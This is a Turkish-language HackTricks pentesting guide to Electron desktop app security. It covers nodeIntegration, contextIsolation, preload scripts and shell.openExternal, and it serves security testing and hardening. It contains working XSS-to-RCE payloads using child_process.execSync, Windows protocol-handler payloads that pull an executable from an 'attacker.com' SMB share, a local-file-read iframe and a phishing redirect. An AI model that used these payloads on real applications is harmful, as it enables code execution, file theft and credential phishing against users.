Electron Masaüstü Uygulamaları
Reading time: 14 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Giriş
Electron, yerel bir arka uç (NodeJS) ve bir ön uç (Chromium) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle, electron uygulama kodunu bir .asar
uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electron uygulamasının kaynak kodunda, packet.json
içinde güvenlik yapılandırmalarının ayarlandığı main.js
dosyasının belirtildiğini bulabilirsiniz.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron'ın 2 işlem türü vardır:
- Ana İşlem (NodeJS'ye tam erişime sahiptir)
- Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır)
Bir render işlemi, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
renderer process ayarları main.js dosyası içinde main process'te yapılandırılabilir. Bazı yapılandırmalar, ayarlar doğru bir şekilde yapılandırıldığında Electron uygulamasının RCE veya diğer güvenlik açıklarını önlemesine yardımcı olacaktır.
Electron uygulaması, Node API'leri aracılığıyla cihazı erişebilir, ancak bunu önlemek için yapılandırılabilir:
nodeIntegration
- varsayılan olarakkapalıdır
. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.contextIsolation
- varsayılan olarakaçıktır
. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.preload
- varsayılan olarak boştur.sandbox
- varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.- Workers'da Node Entegrasyonu
nodeIntegrationInSubframes
- varsayılan olarak kapalıdır.- Eğer
nodeIntegration
etkinleştirilirse, bu, Electron uygulaması içinde iframe'lerde yüklü web sayfalarında Node.js API'lerinin kullanılmasına izin verir. - Eğer
nodeIntegration
devre dışı bırakılırsa, o zaman preloads iframe içinde yüklenecektir.
Yapılandırma örneği:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Bazı RCE yükleri buradan:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Trafiği Yakala
Başlangıç-ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Yerel Kod Enjeksiyonu
Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Eğer nodeIntegration açık olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca require()
çağrısı yaparak kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
RCE: preload
Bu ayardaki script, renderer'daki diğer scriptlerden önce yüklenir, bu nedenle Node API'lerine sınırsız erişime sahiptir:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Bu nedenle, script node-features'ı sayfalara aktarabilir:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Eğer
contextIsolation
açıksa, bu çalışmayacak
RCE: XSS + contextIsolation
contextIsolation, web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar tanıtarak her bir kodun JavaScript yürütmesinin birbirini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
Eğer bağlamlar izole edilmemişse, bir saldırgan:
- renderer'da keyfi JavaScript çalıştırabilir (XSS veya harici sitelere yönlendirme)
- Preload veya Electron iç kodunda kullanılan yerleşik yöntemi kendi fonksiyonu ile üstüne yazabilir
- Üstüne yazılmış fonksiyonun kullanılmasını tetikleyebilir
- RCE?
Yerleşik yöntemlerin üstüne yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Tıklama olayını atlatma
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal bir sol tıklama yerine orta tıklama yaparak atlatabilirsiniz.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Bu örnekler hakkında daha fazla bilgi için https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ve https://benjamin-altpeter.de/shell-openexternal-dangers/ adreslerini kontrol edin.
Bir Electron masaüstü uygulaması dağıtırken, nodeIntegration
ve contextIsolation
için doğru ayarların sağlanması çok önemlidir. İstemci tarafı uzaktan kod yürütme (RCE), ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellenir.
Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Bu dinleyiciler masaüstü uygulaması tarafından geçersiz kılınır ve kendi iş mantığını uygular. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle openInternally
adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon false
dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve shell.openExternal
fonksiyonu kullanılır.
İşte basitleştirilmiş bir pseudocode:
Electron JS güvenlik en iyi uygulamaları, openExternal
fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa başvurulabilir, bu kaynak, bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir.
macos'ta, openExternal
fonksiyonu, shell.openExternal('file:///System/Applications/Calculator.app')
gibi rastgele komutlar çalıştırmak için istismar edilebilir.
Windows protokol istismarına örnekler şunlardır:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
İç Dosyaları Okuma: XSS + contextIsolation
contextIsolation
'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için <webview>
etiketlerinin kullanılmasına olanak tanır, <iframe>
'e benzer. Verilen bir örnek, bu güvenlik açığını kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:
Ayrıca, bir iç dosyayı okuma için başka bir yöntem paylaşılmakta, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma güvenlik açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışa aktarmak için bir script enjekte etmeyi içermektedir:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Eski Chromium
Eğer uygulamanın kullandığı chromium eski ise ve üzerinde bilinen zafiyetler varsa, bunu istismar etmek ve XSS aracılığıyla RCE elde etmek mümkün olabilir.
Bir örneği bu yazıda görebilirsiniz: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing İçin Dahili URL regex atlatma
Bir XSS bulduğunuzu varsayalım ama RCE'yi tetikleyemiyorsanız veya dahili dosyaları ç alamıyorsanız, bunu kimlik bilgilerini phishing ile çalmak için kullanmayı deneyebilirsiniz.
Öncelikle, yeni bir URL açmaya çalıştığınızda neler olduğunu, ön uçtaki JS kodunu kontrol ederek bilmeniz gerekir:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
openInternally
çağrısı, bağlantının platforma ait bir bağlantı olup olmadığına göre masaüstü penceresinde açılıp açılmayacağına veya tarayıcıda 3. parti bir kaynak olarak açılıp açılmayacağına karar verecektir.
Eğer fonksiyonun kullandığı regex bypass'lere karşı savunmasızsa (örneğin alt alan adlarının noktalarını kaçırmıyorsa) bir saldırgan, XSS'i kötüye kullanarak saldırganın altyapısında bulunan yeni bir pencere açabilir ve kullanıcıdan kimlik bilgileri isteyebilir:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Remote modülü
Electron Remote modülü, renderer süreçlerinin ana süreç API'lerine erişmesine olanak tanır ve bir Electron uygulaması içinde iletişimi kolaylaştırır. Ancak, bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişleterek, onu cross-site scripting (XSS) saldırıları gibi zayıflıklara daha duyarlı hale getirir.
tip
remote modülü ana süreçten renderer süreçlerine bazı API'leri açsa da, yalnızca bileşenleri kötüye kullanarak RCE elde etmek kolay değildir. Ancak, bileşenler hassas bilgileri açığa çıkarabilir.
warning
Hala remote modülünü kullanan birçok uygulama, renderer sürecinde NodeIntegration'ın etkinleştirilmesini gerektirir, bu da büyük bir güvenlik riski oluşturur.
Electron 14'ten itibaren, Electron'un remote
modülü güvenlik ve performans nedenleriyle birkaç adımda etkinleştirilebilir, bu nedenle kullanılmaması önerilir.
Etkinleştirmek için, önce ana süreçte etkinleştirilmesi gerekir:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Sonra, render işlemi modülden nesneleri şu şekilde içe aktarabilir:
import { dialog, getCurrentWindow } from '@electron/remote'
blog post, uzaktan modülden app
nesnesi tarafından sunulan bazı ilginç fonksiyonları belirtmektedir:
app.relaunch([options])
- Mevcut örneği kapatarak uygulamayı yeniden başlatır ve yeni bir tane başlatır. Uygulama güncellemeleri veya önemli durum değişiklikleri için faydalıdır.
app.setAppLogsPath([path])
- Uygulama günlüklerini depolamak için bir dizin tanımlar veya oluşturur. Günlükler
app.getPath()
veyaapp.setPath(pathName, newPath)
kullanılarak alınabilir veya değiştirilebilir. app.setAsDefaultProtocolClient(protocol[, path, args])
- Belirtilen protokol için mevcut çalıştırılabilir dosyayı varsayılan işleyici olarak kaydeder. Gerekirse özel bir yol ve argümanlar sağlayabilirsiniz.
app.setUserTasks(tasks)
- Jump List (Windows'ta) içindeki Görevler kategorisine görevler ekler. Her görev, uygulamanın nasıl başlatılacağını veya hangi argümanların geçeceğini kontrol edebilir.
app.importCertificate(options, callback)
- Sistemin sertifika deposuna bir PKCS#12 sertifikası ithal eder (sadece Linux). Sonucu işlemek için bir callback kullanılabilir.
app.moveToApplicationsFolder([options])
- Uygulamayı Uygulamalar klasörüne taşır (macOS'ta). Mac kullanıcıları için standart bir kurulum sağlamaya yardımcı olur.
app.setJumpList(categories)
- Windows üzerinde bir özel Jump List ayarlar veya kaldırır. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için kategoriler belirtebilirsiniz.
app.setLoginItemSettings(settings)
- Girişte hangi çalıştırılabilir dosyaların başlatılacağını ve bunların seçeneklerini ayarlar (sadece macOS ve Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences modülü
Electron'da sistem tercihlerine erişmek ve sistem olaylarını yaymak için birincil API. subscribeNotification, subscribeWorkspaceNotification, getUserDefault ve setUserDefault gibi yöntemler bu modülün bir parçasıdır.
Örnek kullanım:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Yerel macOS bildirimlerini dinler, NSDistributedNotificationCenter kullanarak.
- macOS Catalina'dan önce, CFNotificationCenterAddObserver'a nil geçirerek tüm dağıtılmış bildirimleri dinleyebilirdiniz.
- Catalina / Big Sur'dan sonra, sandboxed uygulamalar hala birçok olaya (örneğin, ekran kilitlenmeleri/açılmaları, ses montajları, ağ etkinliği vb.) isimle bildirim kaydederek abone olabilir.
getUserDefault / setUserDefault
-
NSUserDefaults ile arayüz sağlar, bu da macOS'ta uygulama veya küresel tercihleri saklar.
-
getUserDefault, son dosya konumları veya kullanıcının coğrafi konumu gibi hassas bilgileri alabilir.
-
setUserDefault, bu tercihleri değiştirebilir, bu da bir uygulamanın konfigürasyonunu etkileyebilir.
-
Eski Electron sürümlerinde (v8.3.0'dan önce), yalnızca NSUserDefaults'un standart kümesi erişilebilir idi.
Shell.showItemInFolder
Bu fonksiyon, verilen dosyayı bir dosya yöneticisinde gösterir, bu da dosyanın otomatik olarak çalıştırılmasına neden olabilir.
Daha fazla bilgi için https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html adresine bakın.
Content Security Policy
Electron uygulamaları, XSS saldırılarını önlemek için bir İçerik Güvenlik Politikası (CSP)'ye sahip olmalıdır. CSP, tarayıcıda güvensiz kodun çalıştırılmasını önlemeye yardımcı olan bir güvenlik standardıdır.
Genellikle main.js
dosyasında veya index.html
şablonunda CSP'nin bulunduğu bir meta etiketi ile yapılandırılır.
Daha fazla bilgi için kontrol edin:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-patentlerini tanımlamak için bir araçtır.
- Electrolint Electronegativity kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- nodejsscan güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
- Electro.ng: Satın almanız gerekiyor
Labs
https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s adresinde güvenlik açığı olan Electron uygulamalarını istismar etmek için bir laboratuvar bulabilirsiniz.
Laboratuvarda size yardımcı olacak bazı komutlar:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referanslar
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Electron güvenliği hakkında daha fazla araştırma ve yazı için https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.